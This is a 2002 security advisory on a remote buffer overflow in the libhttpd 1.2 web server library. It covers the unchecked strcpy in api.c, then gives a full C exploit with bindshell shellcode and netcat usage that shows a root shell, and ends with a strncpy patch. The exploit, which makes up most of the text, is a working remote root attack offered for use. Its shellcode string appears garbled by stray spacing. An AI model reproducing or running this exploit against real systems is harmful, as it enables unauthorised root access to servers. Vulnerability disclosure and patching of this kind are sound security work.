
INetCop Security Advisory #2002-0x82-003

* Title: Remote Buffer Overflow vulnerability in Lib HTTPd.

0x01. Description

LibHTTPD can be used to add basic web server capabilities to an application or embedded device. Detailed contents desire to reference lower part homepage. :-)

If examine 'api.c' of library libhttpd.a source code, can find vulnerability.

Can see httpdProcessRequest() in line:860

```
—
860 void httpdProcessRequest(server)
861     httpd  *server;
862 {
863     char    dirName[HTTP_MAX_URL],
...
869     server->response.responseLength = 0;
870     strcpy(dirName, httpdRequestPath(server)); // here.
--
```

Herewith, fatal vulnerability that can execute rootshell in remote happens.

0x02. Vulnerable Packages

Vendor site: <http://www.hughes.com.au/products/libhttpd/>

libhttpd-1.2

-libhttpd-1.2.tar.gz

+Linux

+Other

0x03. Exploit

This's exploit code that prove.

Through remote attack, get 'root' competence.

Use netcat for very easy exploit.

To do simple explanation about exploit.

Through POST, insert much &shellcode address.

Put next nop,shellcode.

(Port:3879 bindshell code)

```
=== 0x82-Remote.libhttpdxpl.c ===
```

```
/*
```

```
**
```

```
** Lib HTTPd Remote Buffer Overflow exploit
```

```
**                               by Xpl017Elz
```

```
**
```

```
** Testing exploit:
```

```
**
```

```
** bash$ (./0x82-Remote.libhttpdxpl;cat)|nc libhttphost 80
```

```
**
```

```
** (Ctrl+c)
```

```
** punt!
```

```

** bash$ nc libhttpost 3879
** uname
** Linux
** id
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),
** 3(sys),4(adm),6(disk),10(wheel)
** exit
** bash$
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net
**
*/

```

```

#include <stdio.h>
int main(/* args? */)
{
    int shadd2r;
    char b1ndsh[] = /* 129byte bindshellcode */
"\ 211 \ 3451 \ 322 \ 262f \ 211 \ 3201 \ 311 \ 211 \ 313C \ 211] \ 370C \ 211] \ 364K \ 211M \ 374 \ 215M"
"\ 364 \ 315 \ 2001 \ 311 \ 211E \ 364Cf \ 211] \ 354f \ 307E \ 356 \ 017' \ 211M \ 360 \ 215E \ 354 \ 211E"
"\ 370 \ 306E \ 374 \ 020 \ 211 \ 320 \ 215M \ 364 \ 315 \ 200 \ 211 \ 320CC \ 315 \ 200 \ 211 \ 320C \ 315"
"\ 200 \ 211 \ 3031 \ 311 \ 262? \ 211 \ 320 \ 315 \ 200 \ 211 \ 320A \ 315 \ 200 \ 353 \ 030 ^ \ 211u"
"\ b1 \ 300 \ 210F \ 007 \ 211E \ f \ 260 \ 013 \ 211 \ 363 \ 215M \ b \ 215U \ f \ 315 \ 200 \ 350 \ 343 \ 377"
"\ 377 \ 377/bin/sh";
    //--- POST &shellcode ---//
    fprintf(stdout,"POST ");
    for(shadd2r=0;shadd2r<0x408;shadd2r+=4)
    {/* rEDhAT Default: 0x804e482,
        Debian Address? */
        fprintf(stdout," \ 202 \ 344 \ 004 \ b");
    }
    fprintf(stdout," \ r \ n");
    //--- NOP,shellcode ---//
    for(shadd2r=0;shadd2r<0x3e8;shadd2r++)

```

```
    { /* SSSSSSSS...SSSSSSSSS;;; */  
        fprintf(stdout,"S");  
    }  
    fprintf(stdout,"%s \r \ nx0x \ r \ nx82 \ r \ nl0l \ r \ n",b1ndsh);  
}
```

=== eof ===

0x04. Patch

=== api.patch ===

```
--- api.c      Sat Nov  9 20:06:30 2002  
+++ api.patch.c Sat Nov  9 20:05:33 2002  
@@ -867,7 +867,7 @@  
     httpContent *entry;  
  
     server->response.responseLength = 0;  
-     strcpy(dirName, httpdRequestPath(server));  
+     strncpy(dirName, httpdRequestPath(server), HTTP_MAX_URL);  
     cp = rindex(dirName, '/');  
     if (cp == NULL)  
     {
```

=== eof ===

P.S: Sorry, for my poor english.

--

By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: [szoahc\(at\)hotmail\(dot\)com](mailto:szoahc@hotmail.com),
[xploit\(at\)hackermail\(dot\)com](mailto:xploit@hackermail.com)

INetCop Security Home: <http://www.inetcop.org/> (Korean hacking game)

My World: <http://x82.i21c.net/>

GPG public key: [http://wizard.underattack.co.kr/~x82/h0me/pr0file/x82.k3y](http://wizard.underattack.co.kr/~x82/home/pr0file/x82.k3y)

--